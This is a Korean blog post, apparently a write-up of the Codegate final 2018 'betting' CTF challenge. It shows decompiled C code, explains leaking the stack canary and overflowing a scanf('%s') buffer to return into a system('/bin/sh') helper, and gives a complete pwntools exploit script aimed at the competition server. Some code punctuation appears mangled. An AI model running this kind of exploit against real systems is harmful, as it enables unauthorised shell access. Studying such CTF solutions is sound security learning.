본문 바로가기

CTF

[Codegate final 2018] betting

전형적인 버퍼오버플로우 문제입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  unsigned int v4; // eax
  unsigned int v6; // [rsp+4h] [rbp-6Ch]
  int v7; // [rsp+8h] [rbp-68h]
  unsigned int v8; // [rsp+Ch] [rbp-64h]
  unsigned int v9; // [rsp+10h] [rbp-60h]
  int v10; // [rsp+14h] [rbp-5Ch]
  int v11; // [rsp+18h] [rbp-58h]
  int v12; // [rsp+1Ch] [rbp-54h]
  __int64 v13; // [rsp+20h] [rbp-50h]
  __int64 v14; // [rsp+28h] [rbp-48h]
  __int64 v15; // [rsp+30h] [rbp-40h]
  __int64 v16; // [rsp+38h] [rbp-38h]
  char v17; // [rsp+40h] [rbp-30h]
  char s; // [rsp+50h] [rbp-20h]
  unsigned __int64 v19; // [rsp+68h] [rbp-8h]
 
  v19 = __readfsqword(0x28u);
  v8 = 0;
  v9 = 0;
  v6 = 0;
  v10 = 0;
  v7 = 0;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 0x14uLL);
  printf("What is your name? ", 0LL);
  read(0&s, 40uLL);                           // buf(check canary)
  printf("How much money would you like to start with? "&s);
  __isoc99_scanf("%d"&v7);
  while ( v10 >= 0 && v7 > 1 )
  {
    printf("Hi, %s"&s);                       // canary leak
    printf("you have $%d.\n", (unsigned int)v7);
    while ( !v6 || (signed int)v6 > v7 )
    {
      printf("How much money do you want to bet? ");
      __isoc99_scanf("%d"&v6);
      if ( (signed int)v6 > v7 )
        puts("Sorry, you don't have enough money to make that bet.");
    }
    v3 = time(0LL);
    srand(v3);
    v8 = rand() % 13 + 1;
    v9 = rand() % 4 + 1;
    v11 = v8;
    v13 = rank_string(v8);
    v14 = suit_string(v9);
    printf("You draw a %s of %s.\n", v13, v14);
    puts("Will the next card be higher or lower?");
    printf("Enter \"h\" for higher or \"l\" for lower: ");
    __isoc99_scanf("%s"&v17);                 // buf!!!
    v4 = time(0LL);
    srand(v4);
    v8 = rand() % 13 + 1;
    v9 = rand() % 4 + 1;
    v12 = v8;
    v15 = rank_string(v8);
    v16 = suit_string(v9);
    printf("You draw a %s of %s.\n", v15, v16);
    if ( v17 == 104 && v11 > v12 || v17 == 108 && v11 < v12 )
    {
      v7 -= v6;
      printf("LOSE!!! Too bad %s"&s);
      printf("You lose $%d.\n", v6);
      goto LABEL_15;
    }
    if ( v11 == v12 )
    {
      puts("I'll give you one more chance.");
    }
    else
    {
      v7 += v6;
      printf("Win! Congratulations %s"&s);
      printf("You win $%d!\n", v6);
LABEL_15:
      v6 = 0;
    }
  }
  if ( v10 > 0 )
  {
    printf("You win the game %s! "&s);
  }
  else
  {
    printf("Too bad %s"&s);
    puts("You are out of money! You lose.");
  }
  return 0;
}
cs

IDA로 보면 첫번째 read에서 40까지 받기 때문에 canary 첫번째 1byte(\x00) 까지 채워주고 %s를 통해 leak 할 수있습니다.

후에 high, low 를 선택하는데 이때 %s로 입력받기 때문에 buf가 가능해집니다.

helper 라는 함수에 system("/bin/sh") 명령어가 있기에 ret를 이 함수 주소로 덮고 공격하면 될 것같습니다.


[solve]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
#s = process("./betting")
= remote('110.10.147.29'8282)
= ELF("./betting")
 
s.sendlineafter("name? "'A'*24)
s.sendlineafter("with? "'2')
 
s.recvuntil('A'*24 + '\n')
canary = u64('\x00' + s.recv(7))
 
print "canary : " + hex(canary)
 
s.sendlineafter("bet? "'2')
 
payload = ''
payload += "A"*40
payload += p64(canary)
payload += "B"*8
payload += p64(0x4008F6)
 
s.sendlineafter("lower: ", payload)
s.interactive()
cs


이미 ret를 덮었기 때문에 배팅을 계속 높게 해줘서 지게 만든 후 while문을 탈출하게 되면 쉘이 따집니다 XD

'CTF' 카테고리의 다른 글

[Codegate final 2018] Shall We Dance  (0) 2018.04.06
[Codegate final 2018] G0Crack  (0) 2018.04.06
[Codegate 2017] Goversing  (0) 2018.03.29
[angstromctf 2017] Product Key  (0) 2018.03.18
[White Hacker League 2017] Medic  (0) 2018.03.09